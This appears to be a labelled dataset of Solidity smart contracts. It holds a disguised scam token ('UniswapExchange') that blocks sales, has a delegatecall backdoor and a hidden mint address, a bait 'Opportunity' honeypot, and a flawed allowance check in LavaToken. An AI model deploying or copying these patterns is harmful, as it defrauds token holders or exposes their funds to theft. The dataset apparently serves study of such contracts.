function finish(uint256 weiPerUSDinTGE) public {
require(msg.sender == owner);
crowdsale.setWeiPerUSDinTGE(weiPerUSDinTGE);
crowdsale.transferOwnership(wallet);
}
} | 1 | 3,072 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint256 _value, bytes _data) public;
}
contract ERC20ERC223 {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transfer(address _to, uint256 _value, bytes _data) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 indexed _value);
event Transfer(address indexed _from, address indexed _to, uint256 indexed _value, bytes _data);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Deco is ERC20ERC223 {
using SafeMath for uint256;
string public constant name = "Deco";
string public constant symbol = "DEC";
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 6*10**26;
mapping(address => Account) private accounts;
struct Account {
uint256 balance;
mapping(address => uint256) allowed;
mapping(address => bool) isAllowanceAuthorized;
}
modifier onlyPayloadSize(uint256 size) {
require(msg.data.length >= size + 4);
_;
}
function Deco() {
accounts[msg.sender].balance = totalSupply;
Transfer(this, msg.sender, totalSupply);
}
function balanceOf(address _owner) constant returns (uint256) {
return accounts[_owner].balance;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) {
performTransfer(msg.sender, _to, _value, "");
Transfer(msg.sender, _to, _value);
return true;
}
function transfer(address _to, uint256 _value, bytes _data) onlyPayloadSize(2 * 32) returns (bool) {
performTransfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) {
require(hasApproval(_from, msg.sender));
uint256 _allowed = accounts[_from].allowed[msg.sender];
performTransfer(_from, _to, _value, "");
accounts[_from].allowed[msg.sender] = _allowed.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function performTransfer(address _from, address _to, uint256 _value, bytes _data) private returns (bool) {
require(_to != 0x0);
accounts[_from].balance = accounts[_from].balance.sub(_value);
accounts[_to].balance = accounts[_to].balance.add(_value);
if (isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(_from, _value, _data);
}
return true;
}
function isContract(address _to) private constant returns (bool) {
uint256 codeLength;
assembly {
codeLength := extcodesize(_to)
}
return codeLength > 0;
}
function approve(address _spender, uint256 _value) returns (bool) {
require(msg.sender != _spender);
if ((_value != 0) && (accounts[msg.sender].allowed[_spender] != 0)) {
revert();
return false;
}
accounts[msg.sender].allowed[_spender] = _value;
accounts[msg.sender].isAllowanceAuthorized[_spender] = true;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return accounts[_owner].allowed[_spender];
}
function hasApproval(address _owner, address _spender) constant returns (bool) {
return accounts[_owner].isAllowanceAuthorized[_spender];
}
function removeApproval(address _spender) {
delete(accounts[msg.sender].allowed[_spender]);
accounts[msg.sender].isAllowanceAuthorized[_spender] = false;
}
}
contract DecoBank {
using SafeMath for uint256;
Deco public token;
address private crowdsaleWallet;
address private decoReserveWallet;
uint256 public weiRaised;
uint256 public constant totalSupplyUnits = 6*10**26;
uint256 private constant MINIMUM_WEI = 10**16;
uint256 private constant BASE = 10**18;
uint256 public originalRate = 3000;
uint256 public crowdsaleDistributedUnits = 0;
uint256 public issuerDistributedUnits = 0;
uint256 public presaleStartTime;
uint256 public presaleEndTime;
uint256 private presaleDiscount = 50;
uint256 private presalePercentage = 5;
uint256 public issuerReservedMaximumPercentage = 5;
uint256 public saleStartTime;
uint256 public saleEndTime;
uint256 private saleDiscount = 25;
uint256 public rewardDistributionStart;
uint256 public rewardDistributedUnits = 0;
mapping(address => Contributor) private contributors;
struct Contributor {
uint256 contributedWei;
uint256 decoUnits;
uint256 rewardDistributedDecoUnits;
}
uint256 public contributorsCount = 0;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event RewardDistributed(address indexed beneficiary, uint256 amount);
event RemainingRewardOwnershipChanged(address indexed from, address indexed to);
address private contractCreator = msg.sender;
function DecoBank() {
token = new Deco();
presaleStartTime = 1506816000;
presaleEndTime = presaleStartTime + 30 days;
saleStartTime = presaleEndTime + 1 days;
saleEndTime = saleStartTime + 180 days;
rewardDistributionStart = saleEndTime + 1 days;
crowdsaleWallet = 0xEaC4ff9Aa8342d8B5c59370Ac04a55367A788B30;
decoReserveWallet = 0xDA01fDeEF573b5cC51D0Ddc2600F476aaC71A600;
}
modifier validPurchase() {
require(isValidPurchase());
_;
}
function isValidPurchase() private returns (bool) {
bool minimumContribution = msg.value >= MINIMUM_WEI;
return minimumContribution && (presaleActive() || saleActive());
}
function() payable validPurchase {
require(msg.sender != 0x0);
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) private {
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(currentRate());
uint256 issuerReserveTokens = unitsForIssuerReserve(tokens);
require(crowdsaleDistributedUnits.add(tokens).add(issuerReserveTokens) <= totalSupplyUnits);
incrementContributorsCount(beneficiary);
contributors[beneficiary].decoUnits = contributors[beneficiary].decoUnits.add(tokens);
contributors[beneficiary].contributedWei = contributors[beneficiary].contributedWei.add(weiAmount);
issuerDistributedUnits = issuerDistributedUnits.add(issuerReserveTokens);
crowdsaleDistributedUnits = crowdsaleDistributedUnits.add(tokens).add(issuerReserveTokens);
weiRaised = weiRaised.add(weiAmount);
TokenPurchase(beneficiary, weiAmount, tokens);
crowdsaleWallet.transfer(weiAmount);
token.transfer(beneficiary, tokens);
if (issuerReserveTokens != 0) {
token.transfer(decoReserveWallet, issuerReserveTokens);
}
}
function incrementContributorsCount(address _address) private {
if (contributors[_address].contributedWei == 0) {
contributorsCount = contributorsCount.add(1);
}
}
function contributedWei(address _address) constant public returns (uint256) {
return contributors[_address].contributedWei;
}
function distibutedDecoUnits(address _address) constant public returns (uint256) {
return contributors[_address].decoUnits;
}
function circulatingSupply() constant public returns (uint256) {
return crowdsaleDistributedUnits.add(rewardDistributedUnits);
}
function currentDiscountPercentage() public constant returns (uint256) {
if (presaleStartTime > now) { return presaleDiscount; }
if (presaleActive()) { return presaleDiscount; }
uint256 discountSub = saleStage().mul(5);
uint256 discount = saleDiscount.sub(discountSub);
return discount;
}
function currentRate() public constant returns (uint256) {
uint256 x = (BASE.mul(100).sub(currentDiscountPercentage().mul(BASE))).div(100);
return originalRate.mul(BASE).div(x);
}
function presaleLimitUnits() public constant returns (uint256) {
return totalSupplyUnits.div(100).mul(presalePercentage);
}
function shouldEndPresale() private constant returns (bool) {
if ((crowdsaleDistributedUnits.sub(issuerDistributedUnits) >= presaleLimitUnits()) || (now >= presaleEndTime)) {
return true;
} else {
return false;
}
}
function presaleActive() public constant returns (bool) {
bool inRange = now >= presaleStartTime && now < presaleEndTime;
return inRange && shouldEndPresale() == false;
}
function unitsLimitForCurrentSaleStage() public constant returns (uint256) {
return totalSupplyUnits.div(100).mul(currentMaximumSalePercentage());
}
function maximumSaleLimitUnits() public constant returns (uint256) {
return totalSupplyUnits.div(100).mul(50);
}
function currentMaximumSalePercentage() public constant returns (uint256) {
return saleStage().mul(8).add(10);
}
function saleLimitReachedForCurrentStage() public constant returns (bool) {
return (crowdsaleDistributedUnits.sub(issuerDistributedUnits) >= unitsLimitForCurrentSaleStage());
}
function currentSaleStage() constant public returns (uint256) {
return saleStage().add(1);
}
function saleStage() private returns (uint256) {
uint256 delta = saleEndTime.sub(saleStartTime);
uint256 stageStep = delta.div(6);
int256 stageDelta = int256(now - saleStartTime);
if ((stageDelta <= 0) || (stageStep == 0)) {
return 0;
} else {
uint256 reminder = uint256(stageDelta) % stageStep;
uint256 dividableDelta = uint256(stageDelta).sub(reminder);
uint256 stage = dividableDelta.div(stageStep);
if (stage <= 5) {
return stage;
} else {
return 5;
}
}
}
function saleActive() public constant returns (bool) {
bool inRange = now >= saleStartTime && now < saleEndTime;
return inRange && saleLimitReachedForCurrentStage() == false;
}
function unitsForIssuerReserve(uint256 _tokensForDistribution) private returns (uint256) {
uint256 residue = maximumIssuerReservedUnits().sub(issuerDistributedUnits);
uint256 toIssuer = _tokensForDistribution.div(100).mul(10);
if (residue > toIssuer) {
return toIssuer;
} else {
return residue;
}
}
function maximumIssuerReservedUnits() public constant returns (uint256) {
return totalSupplyUnits.div(100).mul(issuerReservedMaximumPercentage);
}
modifier afterSale() {
require(rewardDistributionStarted());
_;
}
function rewardDistributionStarted() public constant returns (bool) {
return now >= rewardDistributionStart;
}
function requestReward() afterSale external {
if ((msg.sender == contractCreator) && (rewardDistributionEnded())) {
sendNotDistributedUnits();
} else {
rewardDistribution(msg.sender);
}
}
function rewardDistribution(address _address) private {
require(contributors[_address].contributedWei > 0);
uint256 reward = payableReward(_address);
require(reward > 0);
sendReward(_address, reward);
}
function sendNotDistributedUnits() private {
require(msg.sender == contractCreator);
uint256 balance = token.balanceOf(this);
RewardDistributed(contractCreator, balance);
sendReward(contractCreator, balance);
}
function payableReward(address _address) afterSale constant public returns (uint256) {
uint256 unitsLeft = totalUnitsLeft();
if (unitsLeft < 10**4) {
return unitsLeft;
}
uint256 totalReward = contributorTotalReward(_address);
uint256 paidBonus = contributors[_address].rewardDistributedDecoUnits;
uint256 totalRewardLeft = totalReward.sub(paidBonus);
uint256 bonusPerDay = totalReward.div(rewardDays());
if ((totalRewardLeft > 0) && ((bonusPerDay == 0) || (rewardDaysLeft() == 0))) {
return totalRewardLeft;
}
uint256 totalPayable = rewardPayableDays().mul(bonusPerDay);
uint256 reward = totalPayable.sub(paidBonus);
return reward;
}
function sendReward(address _address, uint256 _value) private {
contributors[_address].rewardDistributedDecoUnits = contributors[_address].rewardDistributedDecoUnits.add(_value);
rewardDistributedUnits = rewardDistributedUnits.add(_value);
RewardDistributed(_address, _value);
token.transfer(_address, _value);
}
function rewardPayableDays() constant public returns (uint256) {
uint256 payableDays = rewardDays().sub(rewardDaysLeft());
if (payableDays == 0) {
payableDays = 1;
}
if (payableDays > rewardDays()) {
payableDays = rewardDays();
}
return payableDays;
}
function rewardDays() constant public returns (uint256) {
uint256 rate = rewardUnitsRatePerYear();
if (rate == 0) {
return 80 * 365;
}
uint256 daysToComplete = (totalSupplyUnits.sub(crowdsaleDistributedUnits)).mul(365).div(rate);
return daysToComplete;
}
function rewardUnitsRatePerYear() constant public returns (uint256) {
return crowdsaleDistributedUnits.div(100);
}
function currentRewardReleasePercentageRatePerYear() afterSale constant external returns (uint256) {
return rewardUnitsRatePerYear().mul(10**18).div(circulatingSupply()).mul(100);
}
function rewardDistributionEnd() constant public returns (uint256) {
uint256 secondsToComplete = rewardDays().mul(1 days);
return rewardDistributionStart.add(secondsToComplete);
}
function changeRemainingDecoRewardOwner(address _newOwner, string _confirmation) afterSale external {
require(_newOwner != 0x0);
require(sha3(_confirmation) == sha3("CONFIRM"));
require(_newOwner != address(this));
require(_newOwner != address(token));
require(contributors[_newOwner].decoUnits == 0);
require(contributors[msg.sender].decoUnits > 0);
require(token.balanceOf(_newOwner) > 0);
contributors[_newOwner] = contributors[msg.sender];
delete(contributors[msg.sender]);
RemainingRewardOwnershipChanged(msg.sender, _newOwner);
}
function totalUnitsLeft() constant public returns (uint256) {
int256 units = int256(totalSupplyUnits) - int256((rewardDistributedUnits.add(crowdsaleDistributedUnits)));
if (units < 0) {
return token.balanceOf(this);
}
return uint256(units);
}
function rewardDaysLeft() constant public returns (uint256) {
if (now < rewardDistributionStart) {
return rewardDays();
}
int256 left = (int256(rewardDistributionEnd()) - int256(now)) / 1 days;
if (left < 0) {
left = 0;
}
return uint256(left);
}
function contributorTotalReward(address _address) constant public returns (uint256) {
uint256 proportion = contributors[_address].decoUnits.mul(10**32).div(crowdsaleDistributedUnits.sub(issuerDistributedUnits));
uint256 leftForBonuses = totalSupplyUnits.sub(crowdsaleDistributedUnits);
uint256 reward = leftForBonuses.mul(proportion).div(10**32);
uint256 totalLeft = totalSupplyUnits - (rewardDistributedUnits.add(reward).add(crowdsaleDistributedUnits));
if (totalLeft < 10**4) {
reward = reward.add(totalLeft);
}
return reward;
}
function contributorDistributedReward(address _address) constant public returns (uint256) {
return contributors[_address].rewardDistributedDecoUnits;
}
function rewardDistributionEnded() public constant returns (bool) {
return now > rewardDistributionEnd();
}
} | 0 | 1,958 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,384 |
pragma solidity ^0.5.0;
contract Opportunity {
function () external payable {
msg.sender.send(address(this).balance-msg.value);
}
} | 0 | 894 |
pragma solidity ^0.4.24;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract MINNYCoin {
string public name;
string public symbol;
uint8 public decimals = 8;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
} | 1 | 4,924 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ECRecovery {
function recover(bytes32 hash, bytes memory sig) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
contract RelayAuthorityInterface {
function getRelayAuthority() public returns (address);
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract LavaToken is ECRecovery{
using SafeMath for uint;
address constant public masterToken = 0xB6eD7644C69416d67B522e20bC294A9a9B405B31;
string public name = "Lava";
string public symbol = "LAVA";
uint8 public decimals = 8;
uint private _totalSupply;
event Approval(address indexed src, address indexed ext, uint amt);
event Transfer(address indexed src, address indexed dst, uint amt);
event Deposit(address indexed dst, uint amt);
event Withdrawal(address indexed src, uint amt);
mapping (address => uint) public balances;
mapping (address => mapping (address => uint)) public allowance;
mapping (bytes32 => uint256) public burnedSignatures;
struct LavaPacket {
string methodName;
address relayAuthority;
address from;
address to;
address wallet;
uint256 tokens;
uint256 relayerRewardTokens;
uint256 expires;
uint256 nonce;
}
bytes32 constant LAVAPACKET_TYPEHASH = keccak256(
"LavaPacket(string methodName,address relayAuthority,address from,address to,address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce)"
);
function getLavaPacketTypehash() public pure returns (bytes32) {
return LAVAPACKET_TYPEHASH;
}
function getLavaPacketHash(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce) public pure returns (bytes32) {
return keccak256(abi.encode(
LAVAPACKET_TYPEHASH,
keccak256(bytes(methodName)),
relayAuthority,
from,
to,
wallet,
tokens,
relayerRewardTokens,
expires,
nonce
));
}
constructor() public {
}
function() external payable
{
revert();
}
function mutateTokens(address from, uint amount) public returns (bool)
{
require( amount >= 0 );
require( ERC20Interface( masterToken ).transferFrom( from, address(this), amount) );
balances[from] = balances[from].add(amount);
_totalSupply = _totalSupply.add(amount);
emit Transfer(address(0), from, amount);
return true;
}
function unmutateTokens( uint amount) public returns (bool)
{
address from = msg.sender;
require( amount >= 0 );
balances[from] = balances[from].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(from, address(0), amount);
require( ERC20Interface( masterToken ).transfer( from, amount) );
return true;
}
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function getAllowance(address owner, address spender) public view returns (uint)
{
return allowance[owner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowance[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom( address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowance[from][to] = allowance[from][to].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer( from, to, tokens);
return true;
}
function _giveRelayerReward( address from, address to, uint tokens) internal returns (bool success){
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer( from, to, tokens);
return true;
}
function getLavaTypedDataHash(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce) public pure returns (bytes32) {
bytes32 digest = keccak256(abi.encodePacked(
"\x19\x01",
getLavaPacketHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce)
));
return digest;
}
function _tokenApprovalWithSignature( string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes32 sigHash, bytes memory signature) internal returns (bool success)
{
require( relayAuthority == address(0x0)
|| (!addressContainsContract(relayAuthority) && msg.sender == relayAuthority)
|| (addressContainsContract(relayAuthority) && msg.sender == RelayAuthorityInterface(relayAuthority).getRelayAuthority()) );
address recoveredSignatureSigner = recover(sigHash,signature);
require(from == recoveredSignatureSigner);
require(address(this) == wallet);
require(block.number < expires);
uint previousBurnedSignatureValue = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x1;
require(previousBurnedSignatureValue == 0x0);
require(_giveRelayerReward(from, msg.sender, relayerRewardTokens));
allowance[from][to] = tokens;
emit Approval(from, to, tokens);
return true;
}
function approveTokensWithSignature(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
require(bytesEqual('approve',bytes(methodName)));
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
return true;
}
function transferTokensWithSignature(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
